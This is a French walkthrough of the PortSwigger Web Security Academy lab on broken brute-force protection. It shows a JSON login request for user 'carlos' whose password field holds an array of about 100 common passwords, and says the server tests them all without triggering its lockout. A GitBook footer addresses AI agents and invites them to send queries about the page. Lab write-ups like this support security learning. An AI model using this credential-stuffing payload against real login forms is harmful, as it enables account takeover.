> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/authentication/broken-brute-force-protection-with-multiple-credentials-per-request.md).

# Protection contre la force brute défaillante avec plusieurs identifiants par requête

Notes sur la protection contre la force brute défaillante avec plusieurs identifiants par requête pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et la remédi

### Protection par force brute défaillante, plusieurs identifiants par requête

Ce laboratoire présente une faille logique dans le mécanisme de protection contre les attaques par force brute. / L'objectif est de **trouver le mot de passe de l'utilisateur carlos** et d'accéder à sa page **Mon compte**.

* **Utilisateur cible**: `carlos`
* **Liste de mots de passe candidats**: fournie par le laboratoire
* **Point d'entrée**: formulaire de connexion

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3194516c73719c3404fef06dffc278f984573f50%2F%7B23642F1A-A776-47A6-AC12-BC43655196BC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Observation du comportement**

Lors de l'analyse du formulaire de connexion, la requête envoyée au serveur est au format **JSON**  , avec les champs suivants :

```json
{
    "username":"carlos",
    "password":"password"
}
```

La protection anti-force brute semble être basée sur le nombre de \*\*requêtes HTTP\*\* envoyées, et non sur le nombre de \*\*mots de passe réellement testés\*\*.

**Exploitation de la faille logique**

Au lieu d'envoyer une requête de mot de passe, il est possible de transmettre **plusieurs mots de passe dans une seule requête**, en utilisant un tableau JSON pour le `mot de passe` champ.

{% code overflow="wrap" %}

```json
{
  "username": "carlos",
  "password": ["123456","password","12345678","qwerty","123456789","12345","1234","111111","1234567","dragon","123123","baseball","abc123","football","monkey","letmein","shadow","master","666666","qwertyuiop","123321","mustang","1234567890","michael","654321","superman","1qaz2wsx","7777777","121212","000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm","asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger","sunshine","iloveyou","2000","charlie","robert","thomas","hockey","ranger","daniel","starwars","klaster","112233","george","computer","michelle","jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom","777777","pass","maggie","159753","aaaaaa","ginger","princess","joshua","cheese","amanda","summer","love","ashley","nicole","chelsea","biteme","matthew","access","yankees","987654321","dallas","austin","thunder","taylor","matrix","mobilemail","mom","monitor","monitoring","montana","moon","moscow"]
}
```

{% endcode %}

Le serveur \*\* accepte la requête\*\* et teste tous les mots de passe contenus dans le tableau, **sans déclencher de mécanisme de blocage**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cceb4b8ffbe43ea9dc1156eea5da388b1dbbfa07%2F%7B98F12D38-6A42-458B-93B0-ED4D46A781AA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/authentication/broken-brute-force-protection-with-multiple-credentials-per-request.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.